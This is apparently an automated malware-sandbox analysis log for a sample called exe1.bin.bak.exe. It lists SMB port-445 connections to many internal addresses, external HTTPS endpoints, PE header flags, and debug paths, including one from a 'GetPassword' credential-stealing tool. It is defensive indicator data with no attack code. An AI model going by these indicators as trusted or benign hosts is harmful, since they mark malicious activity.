Source: global traffic	TCP traffic: 192.168.0.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.111:445	Jump to behavior

Source: exe1.bin.bak.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:59453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:61335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:53553 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:59431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:61225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:53862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 136.243.150.101:443 -> 192.168.2.4:53901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.131.126:443 -> 192.168.2.4:53901 version: TLS 1.2

Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdbX+r+ d+_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\GetPassword-master\x64\Release\GetPassword.pdb source: MpMgSvc.exe, MpMgSvc.exe, 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Wmicc.exe, 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, Wmicc.exe, 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb8)R) D)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Net.Http\netfx\System.Net.Http.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb'MAM 3M_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.ResourceManager\4.0.1.0\System.Resources.ResourceManager.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb* source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Debug\4.0.11.0\System.Diagnostics.Debug.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO\4.1.2.0\System.IO.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdbSHA256O source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb4)N) @)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq\4.1.2.0\System.Linq.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Drawing.Primitives\4.0.2.0\System.Drawing.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Data.Common/netfx\System.Data.Common.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.DriveInfo\4.0.2.0\System.IO.FileSystem.DriveInfo.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdbh) source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdbTn `*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Dll1\x64\Release\Dll_X64.pdb source: exe1.bin.bak.exe, exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, exe1.bin.bak.exe, 00000000.00000003.1630690322.0000000000621000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.ThreadPool\4.0.12.0\System.Threading.ThreadPool.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Console\4.0.2.0\System.Console.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.EventBasedAsync\4.0.11.0\System.ComponentModel.EventBasedAsync.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256> source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Primitives\4.0.1.0\System.Reflection.Primitives.pdb$> 0*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TraceSource\4.0.2.0\System.Diagnostics.TraceSource.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.UnmanagedMemoryStream\4.0.3.0\System.IO.UnmanagedMemoryStream.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Tools\4.0.1.0\System.Diagnostics.Tools.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Threading.Overlapped/netfx\System.Threading.Overlapped.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Xml/netfx\System.Runtime.Serialization.Xml.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdbt( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization\4.0.11.0\System.Globalization.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdbt+ source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NameResolution\4.0.2.0\System.Net.NameResolution.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdbxE source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Timer\4.0.1.0\System.Threading.Timer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Parallel\4.0.1.0\System.Linq.Parallel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Security.Cryptography.Algorithms/netfx\System.Security.Cryptography.Algorithms.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Security\4.0.2.0\System.Net.Security.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XPath\4.0.3.0\System.Xml.XPath.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb@Z L*_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Runtime.Serialization.Primitives/netfx\System.Runtime.Serialization.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Principal\4.0.1.0\System.Security.Principal.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Diagnostics.Tracing/netfx\System.Diagnostics.Tracing.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime\4.1.2.0\System.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Writer\4.0.2.0\System.Resources.Writer.pdbl( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlSerializer\4.0.11.0\System.Xml.XmlSerializer.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection\4.1.2.0\System.Reflection.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Numerics\4.0.1.0\System.Runtime.Numerics.pdb\|( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.TypeConverter\4.1.2.0\System.ComponentModel.TypeConverter.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb,)F) 8)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.RegularExpressions\4.1.1.0\System.Text.RegularExpressions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Ping\4.0.2.0\System.Net.Ping.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Reflection.Extensions\4.0.1.0\System.Reflection.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Contracts\4.0.1.0\System.Diagnostics.Contracts.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Concurrent\4.0.11.0\System.Collections.Concurrent.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.NetworkInformation\4.1.2.0\System.Net.NetworkInformation.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Primitives\4.0.2.0\System.Security.Cryptography.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
